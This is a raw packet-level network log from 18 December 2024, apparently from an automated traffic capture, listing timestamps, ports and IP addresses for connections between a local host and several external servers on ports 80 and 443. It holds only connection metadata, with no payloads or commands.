Dec 18, 2024 15:56:35.313162088 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.313234091 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.313293934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.313293934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.314294100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.314400911 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.314429998 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.314496040 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.315490961 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.315582037 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.315607071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.315752983 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.316768885 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.316854954 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.316950083 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.317276955 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.317878008 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.317945004 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.317971945 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.318077087 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.319107056 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.319215059 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.319247007 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.319322109 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.320262909 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.320350885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.320363045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.320487976 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.321453094 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.321533918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.321544886 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.322333097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.322653055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.322789907 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.322985888 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.323837042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.323914051 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.323937893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.324700117 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.325026035 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.325109959 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.325186968 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.325186968 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.326307058 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.326469898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.326503038 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.327514887 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.327604055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.327671051 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.327672005 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.328608036 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.328711987 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.329580069 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.329849958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.329931021 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.329987049 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.329988003 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.331031084 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.331156969 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.331193924 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.331355095 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.332211018 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.332254887 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.332396030 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.403152943 CET	443	49813	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:35.403263092 CET	443	49813	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:35.403455019 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:35.403624058 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:35.421647072 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.421782970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.421804905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.421835899 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.421890974 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.422030926 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.422065973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.422179937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.422184944 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.422221899 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.422565937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.422595024 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.422629118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.422636032 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.422729969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.422780991 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.423444033 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.423485041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.423491001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.423640966 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.423671007 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.423947096 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.424345016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.424420118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.424426079 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.424498081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.424552917 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.425384998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.425426006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.425431967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.425467014 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.425509930 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.425626040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.425730944 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.426196098 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.426315069 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.426321983 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.426336050 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.426368952 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.426512003 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.427134991 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.427159071 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.427165031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.427287102 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.427330017 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.427485943 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.428045988 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.428093910 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.428100109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.428169966 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.428225994 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.429158926 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.429167032 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.429179907 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.429260015 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.429295063 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.429620981 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.430059910 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.430094004 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.430105925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.430177927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.430210114 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.430340052 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.430805922 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.430882931 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.430892944 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.430943966 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.430948973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.431042910 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.431958914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.432104111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.432111025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.432153940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.432169914 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.432220936 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.432909966 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.432976961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.433015108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.433021069 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.433047056 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.433130026 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.433610916 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.433640003 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.433650970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.433753014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.433859110 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.434437990 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.434498072 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.434577942 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.434583902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.434669971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.434675932 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.434724092 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.435425043 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.435455084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.435467005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.435508013 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.435616970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.435947895 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.436332941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.436376095 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.436388969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.436491013 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.436494112 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.436815023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.437273026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.437335968 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.437344074 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.437421083 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.437427998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.437870026 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.438155890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.438246012 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.438251019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.438422918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.438452959 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.439075947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.439121008 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.439143896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.439151049 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.439209938 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.439275980 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.439526081 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.439987898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.440026045 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.440129995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.440146923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.440174103 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.440212011 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.440877914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.440900087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.440907001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.440992117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.441003084 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.441097021 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.441807985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.441823959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.441829920 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.441946030 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.441968918 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.442153931 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.442712069 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.442732096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.442744017 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.442864895 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.442869902 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.443619967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.443676949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.443680048 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.443802118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.443826914 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.444556952 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.444602013 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.444607973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.444631100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.444648027 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:35.444685936 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.446367979 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:35.535840988 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.535881042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.535959005 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.536375046 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.536505938 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.536782980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.536916971 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.536953926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.537029982 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.537887096 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.537986040 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.538022041 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.538376093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.539069891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.539170980 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.539196968 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.539269924 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.540126085 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.540221930 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.540317059 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.541414022 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.541555882 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.541635990 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.542534113 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.542610884 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.542624950 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.542717934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.543661118 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.543704033 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.543744087 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.543790102 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.544929028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.544960976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.545104980 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.546010017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.546099901 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.546263933 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.547161102 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.547197104 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.547252893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.548362017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.548374891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.548398972 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.549566031 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.549608946 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.549629927 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.550632954 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.550717115 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.550843954 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.550935984 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.551022053 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.551893950 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.551986933 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.551992893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.552073002 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.553076982 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.553159952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.553194046 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.553368092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.555037975 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.555046082 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.555164099 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.555495977 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.555681944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.555731058 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.555756092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.556679010 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.556761980 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.557023048 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.557131052 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.557795048 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.557862043 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.557938099 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.558094025 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.559087992 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.559247017 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.559345961 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.559602976 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.560138941 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.560249090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.560250044 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.560342073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.561332941 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.561398983 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.561770916 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.562583923 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.562674046 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.562863111 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.563726902 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.563822985 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.563853025 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.564007044 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.564949989 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.565027952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.565068960 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.565105915 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.566004038 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.566070080 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.566108942 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.566200972 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.567171097 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.567245007 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.567353010 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.567436934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.568372965 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.568478107 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.568559885 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.568628073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.569571972 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.569690943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.569708109 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.569761038 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:35.570727110 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:35.570791960 CET	80	49806	185.215.113.16	192.168.2.10
